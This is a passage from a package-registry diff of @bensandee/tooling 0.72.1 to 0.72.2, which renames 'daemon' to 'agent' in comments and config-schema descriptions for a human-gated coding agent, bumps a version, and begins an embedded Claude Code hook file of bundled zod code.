@bensandee/tooling 0.72.1 → 0.72.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/bin.mjs CHANGED
@@ -86,7 +86,7 @@ function setJsonNoticeSink(sink) {
86
86
  }
87
87
  /**
88
88
  * Render the tag a text reader sees. Widen the payload freely; widen this only for something a
89
- * reader needs on the line it is reading -- a multi-repo daemon's reader needs the repository,
89
+ * reader needs on the line it is reading -- a multi-repo agent's reader needs the repository,
90
90
  * because a bare `#42` names an object in whichever of several repos the cycle happens to be in,
91
91
  * and recovering which one meant scrolling back to the claim line.
92
92
  *
@@ -285,7 +285,7 @@ function describePackageJsonFailure(raw) {
285
285
  * where `.cause` is the actual error (`getaddrinfo ENOTFOUND`, `read ECONNRESET`,
286
286
  * `UND_ERR_CONNECT_TIMEOUT`, a TLS handshake error, ...). Plain `String(error)` throws that detail
287
287
  * away and leaves an operator staring at the useless `"TypeError: fetch failed"`. This appends the
288
- * cause so a daemon hand-back comment or log line names what actually went wrong.
288
+ * cause so an agent hand-back comment or log line names what actually went wrong.
289
289
  */
290
290
  function describeError(error) {
291
291
  if (error instanceof Error) {
@@ -1429,14 +1429,14 @@ function resolveDocsConfig(targetDir) {
1429
1429
  * (`commands/branch-prune.ts`), because that slice drives an irreversible delete and a
1430
1430
  * silently-dropped exclusion must not widen it. Everything else reads through the lenient door
1431
1431
  * by name with no further edit: `release/pull-request.ts` (`pr:create`/`pr:update` and the
1432
- * daemon's post-run finalize, wanting `defaultBranch`), `commands/repo-run-checks.ts`,
1432
+ * agent's post-run finalize, wanting `defaultBranch`), `commands/repo-run-checks.ts`,
1433
1433
  * `commands/docker-check.ts`, `commands/release-assets.ts`, `commands/publish-docker.ts`,
1434
1434
  * `commands/setup-secrets.ts`, `commands/forgejo-labels.ts`, `coverage-tracking/config.ts`,
1435
1435
  * `utils/docker-secret-names.ts`, and `packages/agent/src/workspace.ts`'s autonomy/preRunRebase
1436
1436
  * reads.
1437
1437
  *
1438
1438
  * A key added to `.tooling.json` by a newer schema than the one an operational reader's binary
1439
- * was built with is expected forward drift, not a typo: a long-lived daemon's bundled schema is
1439
+ * was built with is expected forward drift, not a typo: a long-lived agent's bundled schema is
1440
1440
  * frozen at process start, and an older installed CLI has the same hazard in a consumer repo
1441
1441
  * using a newer release's key. Failing the whole document over a key a read never needed closes
1442
1442
  * off otherwise-unrelated work at the worst possible point. A human editing `.tooling.json` by
@@ -1456,16 +1456,16 @@ const DeployConfigSchema = z.strictObject({
1456
1456
  ref: z.string().optional().meta({ description: "Git ref to dispatch the workflow on (default: 'main')" })
1457
1457
  });
1458
1458
  const AgentConfigSchema = z.strictObject({
1459
- autonomy: z.boolean().optional().meta({ description: "Opt into interior autonomy (default false). When a phase's latest rationale reports readiness \"ready\" with an empty openQuestions[] and the review phase is clean, the daemon applies the existing plan -> implement -> review -> park-at-mergeable advance itself instead of parking for a human. Never applies to the design/spec gate or the final merge from the mergeable terminal -- those always wait on a human. Also arms the trunk-red detector: when this repo's default branch combined status settles red, the daemon files a tracking issue naming the failing checks and labels it agent/spec, starting the fix through the ordinary spec/plan/implement/review pipeline." }),
1459
+ autonomy: z.boolean().optional().meta({ description: "Opt into interior autonomy (default false). When a phase's latest rationale reports readiness \"ready\" with an empty openQuestions[] and the review phase is clean, the agent applies the existing plan -> implement -> review -> park-at-mergeable advance itself instead of parking for a human. Never applies to the design/spec gate or the final merge from the mergeable terminal -- those always wait on a human. Also arms the trunk-red detector: when this repo's default branch combined status settles red, the agent files a tracking issue naming the failing checks and labels it agent/spec, starting the fix through the ordinary spec/plan/implement/review pipeline." }),
1460
1460
  preRunRebase: z.boolean().optional().meta({ description: "Attempt a clean-only rebase of the work branch onto the default branch before the implement (execute) phase's container starts (default true). A clean rebase runs the container on the rebased branch; a conflicting one is aborted, reported on the run's ledger comment, and the run still proceeds on the un-rebased branch for a later agent/repair cycle to resolve -- it never fails the run. Set false to skip the attempt entirely for this repo: no fetch, no rebase, no abort, and the branch is worked exactly as cloned." }),
1461
- backlog: z.boolean().optional().meta({ description: "Whether the daemon may self-trigger backlog runs consuming this repo's .agent/findings/ ledger (default: on wherever the ledger exists, which only happens in a repo whose own review loop wrote it). A backlog run opens a pull request that fixes or refutes the pending findings; false disarms it, leaving the ledger to accumulate for a human." }),
1461
+ backlog: z.boolean().optional().meta({ description: "Whether the agent may self-trigger backlog runs consuming this repo's .agent/findings/ ledger (default: on wherever the ledger exists, which only happens in a repo whose own review loop wrote it). A backlog run opens a pull request that fixes or refutes the pending findings; false disarms it, leaving the ledger to accumulate for a human." }),
1462
1462
  priority: z.record(z.string(), z.enum([
1463
1463
  "critical",
1464
1464
  "high",
1465
1465
  "normal",
1466
1466
  "low"
1467
- ])).optional().meta({ description: "Map this repo's own issue-label names onto the daemon's four priority levels, e.g. {\"P1\": \"critical\", \"P4\": \"low\"}. The map UNIONS with the built-in priority/<level> names rather than replacing them, and the daemon does not create aliased labels -- the repo owns names the daemon did not choose. Priority affects claim order only: it never changes a run's model, effort, or any budget." }),
1468
- triageAnalysis: z.boolean().optional().meta({ description: "Whether the daemon may route its own agent-note/human-triage-needed issues through the agent/analyze stage (default: off). Unlike agent.backlog, which defaults on, this defaults off: a backlog run batches every pending finding into one container, while triage routing spends one container per issue -- arming it is the reversible direction, not disarming it." })
1467
+ ])).optional().meta({ description: "Map this repo's own issue-label names onto the agent's four priority levels, e.g. {\"P1\": \"critical\", \"P4\": \"low\"}. The map UNIONS with the built-in priority/<level> names rather than replacing them, and the agent does not create aliased labels -- the repo owns names the agent did not choose. Priority affects claim order only: it never changes a run's model, effort, or any budget." }),
1468
+ triageAnalysis: z.boolean().optional().meta({ description: "Whether the agent may route its own agent-note/human-triage-needed issues through the agent/analyze stage (default: off). Unlike agent.backlog, which defaults on, this defaults off: a backlog run batches every pending finding into one container, while triage routing spends one container per issue -- arming it is the reversible direction, not disarming it." })
1469
1469
  });
1470
1470
  const BranchPruneConfigSchema = z.strictObject({
1471
1471
  mergedDays: z.number().int().nonnegative().optional().meta({ description: "Days after a work branch's PR merged before bst branch:prune deletes it (default 7). Zero is valid on purpose (an explicit 'delete everything merged already'), matching the --merged-days CLI flag's contract." }),
@@ -1538,7 +1538,7 @@ const ToolingConfigSchema = z.strictObject({
1538
1538
  ]).optional().meta({ description: "What compiles the project. Detected from the package.json build script, then config-file presence." }),
1539
1539
  checks: ChecksConfigSchema.optional().meta({ description: "Check-pipeline overrides: extra steps to add, and steps to skip (unioned with CI defaults)." }),
1540
1540
  lint: LintConfigSchema.optional().meta({ description: "bst lint:types (the type-aware oxlint gate) overrides. See lint.strictTypeAware." }),
1541
- agent: AgentConfigSchema.optional().meta({ description: "agent:daemon behaviour overrides. Opt-in: see agent.autonomy for the interior-autonomy gate." }),
1541
+ agent: AgentConfigSchema.optional().meta({ description: "agent:start behaviour overrides. Opt-in: see agent.autonomy for the interior-autonomy gate." }),
1542
1542
  branchPrune: BranchPruneConfigSchema.optional().meta({ description: "bst branch:prune overrides: mergedDays/backupDays windows, and extra never-touch exclusions layered on top of the hard-coded list." }),
1543
1543
  labelSets: LabelSetsSchema.optional().meta({ description: "User-defined label sets for `bst forgejo:labels sync --set <name>`, keyed by set name. Read from the repo the command runs in, never from a --repo/--fleet target. A name that collides with a built-in set (e.g. the agent package's own 'agent' set) is a resolution-time error, not a silent override." })
1544
1544
  });
@@ -2563,7 +2563,7 @@ function roundTripImageName(image) {
2563
2563
  * `.` or a `:`, or is exactly `localhost`. A name with no `/` at all, or whose leading
2564
2564
  * component qualifies as neither, has no host -- it is a bare name or a Docker Hub-style
2565
2565
  * `owner/repo`. `localhost` is included even though it carries neither `.` nor `:`, because
2566
- * the daemon treats it as a host, and a ref built by prefixing it would be as wrong as any
2566
+ * the agent treats it as a host, and a ref built by prefixing it would be as wrong as any
2567
2567
  * other double-prefix.
2568
2568
  */
2569
2569
  function imageRegistryHost(name) {
@@ -4961,7 +4961,7 @@ function buildManagedDevDeps(ctx) {
4961
4961
  const devDeps = { ...rootDevDeps(ctx.config) };
4962
4962
  if (!isMonorepo) Object.assign(devDeps, perPackageDevDeps(ctx.config));
4963
4963
  if (ctx.config.stack !== "none" || ctx.config.ci === "forgejo") devDeps["@bensandee/config"] = isWorkspacePackage(ctx, "@bensandee/config") ? "workspace:*" : "0.14.0";
4964
- if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.72.1";
4964
+ if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.72.2";
4965
4965
  if (ctx.config.useEslintPlugin && ctx.config.stack !== "none") devDeps["@bensandee/eslint-plugin"] = isWorkspacePackage(ctx, "@bensandee/eslint-plugin") ? "workspace:*" : "0.13.2";
4966
4966
  if (ctx.config.formatter === "oxfmt") devDeps["oxfmt"] = {
4967
4967
  "@changesets/cli": "3.0.1",
@@ -7642,7 +7642,7 @@ function writeIfChanged(ctx, filePath, content, label) {
7642
7642
  };
7643
7643
  }
7644
7644
  async function generateClaudeHooks(ctx) {
7645
- return [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook -- Claude Code PreToolUse hook\n * @bensandee/claude-hooks\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync -- do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, realpathSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\nimport * as os from \"node:os\";\n\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js\nvar _a$1;\nfunction $constructor(name, initializer, params) {\n function init(inst, def) {\n if (!inst._zod) Object.defineProperty(inst, \"_zod\", {\n value: {\n def,\n constr: _,\n traits: /* @__PURE__ */ new Set()\n },\n enumerable: false\n });\n if (inst._zod.traits.has(name)) return;\n inst._zod.traits.add(name);\n initializer(inst, def);\n const proto = _.prototype;\n const keys = Object.keys(proto);\n for (let i = 0; i < keys.length; i++) {\n const k = keys[i];\n if (!(k in inst)) inst[k] = proto[k].bind(inst);\n }\n }\n const Parent = params?.Parent ?? Object;\n class Definition extends Parent {}\n Object.defineProperty(Definition, \"name\", { value: name });\n function _(def) {\n var _a;\n const inst = params?.Parent ? new Definition() : this;\n init(inst, def);\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n for (const fn of inst._zod.deferred) fn();\n return inst;\n }\n Object.defineProperty(_, \"init\", { value: init });\n Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n if (params?.Parent && inst instanceof params.Parent) return true;\n return inst?._zod?.traits?.has(name);\n } });\n Object.defineProperty(_, \"name\", { value: name });\n return _;\n}\nvar $ZodAsyncError = class extends Error {\n constructor() {\n super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n }\n};\nvar $ZodEncodeError = class extends Error {\n constructor(name) {\n super(`Encountered unidirectional transform during encode: ${name}`);\n this.name = \"ZodEncodeError\";\n }\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n if (newConfig) Object.assign(globalConfig, newConfig);\n return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction jsonStringifyReplacer(_, value) {\n if (typeof value === \"bigint\") return value.toString();\n return value;\n}\nfunction cached(getter) {\n return { get value() {\n {\n const value = getter();\n Object.defineProperty(this, \"value\", { value });\n return value;\n }\n } };\n}\nfunction nullish(input) {\n return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n const start = source.startsWith(\"^\") ? 1 : 0;\n const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n return source.slice(start, end);\n}\nconst EVALUATING = /* @__PURE__*/ Symbol(\"evaluating\");\nfunction defineLazy(object, key, getter) {\n let value = void 0;\n Object.defineProperty(object, key, {\n get() {\n if (value === EVALUATING) return;\n if (value === void 0) {\n value = EVALUATING;\n value = getter();\n }\n return value;\n },\n set(v) {\n Object.defineProperty(object, key, { value: v });\n },\n configurable: true\n });\n}\nfunction assignProp(target, prop, value) {\n Object.defineProperty(target, prop, {\n value,\n writable: true,\n enumerable: true,\n configurable: true\n });\n}\nfunction mergeDefs(...defs) {\n const mergedDescriptors = {};\n for (const def of defs) {\n const descriptors = Object.getOwnPropertyDescriptors(def);\n Object.assign(mergedDescriptors, descriptors);\n }\n return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n return JSON.stringify(str);\n}\nfunction slugify(input) {\n return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n if (globalConfig.jitless) return false;\n if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n try {\n new Function(\"\");\n return true;\n } catch (_) {\n return false;\n }\n});\nfunction isPlainObject(o) {\n if (isObject(o) === false) return false;\n const ctor = o.constructor;\n if (ctor === void 0) return true;\n if (typeof ctor !== \"function\") return true;\n const prot = ctor.prototype;\n if (isObject(prot) === false) return false;\n if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n return true;\n}\nfunction shallowClone(o) {\n if (isPlainObject(o)) return { ...o };\n if (Array.isArray(o)) return [...o];\n if (o instanceof Map) return new Map(o);\n if (o instanceof Set) return new Set(o);\n return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n \"string\",\n \"number\",\n \"symbol\"\n]);\nfunction escapeRegex(str) {\n return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n const cl = new inst._zod.constr(def ?? inst._zod.def);\n if (!def || params?.parent) cl._zod.parent = inst;\n return cl;\n}\nfunction normalizeParams(_params) {\n const params = _params;\n if (!params) return {};\n if (typeof params === \"string\") return { error: () => params };\n if (params?.message !== void 0) {\n if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n params.error = params.message;\n }\n delete params.message;\n if (typeof params.error === \"string\") return {\n ...params,\n error: () => params.error\n };\n return params;\n}\nfunction optionalKeys(shape) {\n return Object.keys(shape).filter((k) => {\n return shape[k]._zod.optin === \"optional\" && shape[k]._zod.optout === \"optional\";\n });\n}\nconst NUMBER_FORMAT_RANGES = {\n safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n int32: [-2147483648, 2147483647],\n uint32: [0, 4294967295],\n float32: [-34028234663852886e22, 34028234663852886e22],\n float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n};\nfunction pick(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = {};\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n newShape[key] = currDef.shape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction omit(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = { ...schema._zod.def.shape };\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n delete newShape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction extend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) {\n const existingShape = schema._zod.def.shape;\n for (const key in shape) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n }\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction safeExtend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction merge(a, b) {\n if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n return clone(a, mergeDefs(a._zod.def, {\n get shape() {\n const _shape = {\n ...a._zod.def.shape,\n ...b._zod.def.shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n },\n get catchall() {\n return b._zod.def.catchall;\n },\n checks: b._zod.def.checks ?? []\n }));\n}\nfunction partial(Class, schema, mask) {\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) throw new Error(\".partial() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in oldShape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n }\n else for (const key in oldShape) shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n assignProp(this, \"shape\", shape);\n return shape;\n },\n checks: []\n }));\n}\nfunction required(Class, schema, mask) {\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n }\n else for (const key in oldShape) shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n assignProp(this, \"shape\", shape);\n return shape;\n } }));\n}\nfunction aborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n return false;\n}\nfunction prefixIssues(path, issues) {\n return issues.map((iss) => {\n var _a;\n (_a = iss).path ?? (_a.path = []);\n iss.path.unshift(path);\n return iss;\n });\n}\nfunction unwrapMessage(message) {\n return typeof message === \"string\" ? message : message?.message;\n}\nfunction finalizeIssue(iss, ctx, config) {\n const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n const { inst: _inst, continue: _continue, input: _input, ...rest } = iss;\n rest.path ?? (rest.path = []);\n rest.message = message;\n if (ctx?.reportInput) rest.input = _input;\n return rest;\n}\nfunction getLengthableOrigin(input) {\n if (Array.isArray(input)) return \"array\";\n if (typeof input === \"string\") return \"string\";\n return \"unknown\";\n}\nfunction issue(...args) {\n const [iss, input, inst] = args;\n if (typeof iss === \"string\") return {\n message: iss,\n code: \"custom\",\n input,\n inst\n };\n return { ...iss };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js\nconst initializer$1 = (inst, def) => {\n inst.name = \"$ZodError\";\n Object.defineProperty(inst, \"_zod\", {\n value: inst._zod,\n enumerable: false\n });\n Object.defineProperty(inst, \"issues\", {\n value: def,\n enumerable: false\n });\n inst.message = JSON.stringify(def, jsonStringifyReplacer, 2);\n Object.defineProperty(inst, \"toString\", {\n value: () => inst.message,\n enumerable: false\n });\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, { Parent: Error });\nfunction flattenError(error, mapper = (issue) => issue.message) {\n const fieldErrors = {};\n const formErrors = [];\n for (const sub of error.issues) if (sub.path.length > 0) {\n fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || [];\n fieldErrors[sub.path[0]].push(mapper(sub));\n } else formErrors.push(mapper(sub));\n return {\n formErrors,\n fieldErrors\n };\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n const fieldErrors = { _errors: [] };\n const processError = (error, path = []) => {\n for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else {\n const fullpath = [...path, ...issue.path];\n if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n else {\n let curr = fieldErrors;\n let i = 0;\n while (i < fullpath.length) {\n const el = fullpath[i];\n if (!(i === fullpath.length - 1)) curr[el] = curr[el] || { _errors: [] };\n else {\n curr[el] = curr[el] || { _errors: [] };\n curr[el]._errors.push(mapper(issue));\n }\n curr = curr[el];\n i++;\n }\n }\n }\n };\n processError(error);\n return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js\nconst _parse = (_Err) => (schema, value, _ctx, _params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n if (result.issues.length) {\n const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, _params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _parseAsync = (_Err) => async (schema, value, _ctx, params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n if (result.issues.length) {\n const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n return result.issues.length ? {\n success: false,\n error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParse$1 = /* @__PURE__*/ _safeParse($ZodRealError);\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n return result.issues.length ? {\n success: false,\n error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParseAsync$1 = /* @__PURE__*/ _safeParseAsync($ZodRealError);\nconst _encode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parse(_Err)(schema, value, ctx);\n};\nconst _decode = (_Err) => (schema, value, _ctx) => {\n return _parse(_Err)(schema, value, _ctx);\n};\nconst _encodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parseAsync(_Err)(schema, value, ctx);\n};\nconst _decodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _parseAsync(_Err)(schema, value, _ctx);\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = /^[a-zA-Z0-9_-]{21}$/;\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration$1 = /^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?!\\.)(?!.*\\.\\.)([A-Za-z0-9_'+\\-\\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(\\\\p{Extended_Pictographic}|\\\\p{Emoji_Component})+$`;\nfunction emoji() {\n return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^[A-Za-z0-9_-]*$/;\nconst httpProtocol = /^https?$/;\nconst e164 = /^\\+[1-9]\\d{6,14}$/;\nconst dateSource = 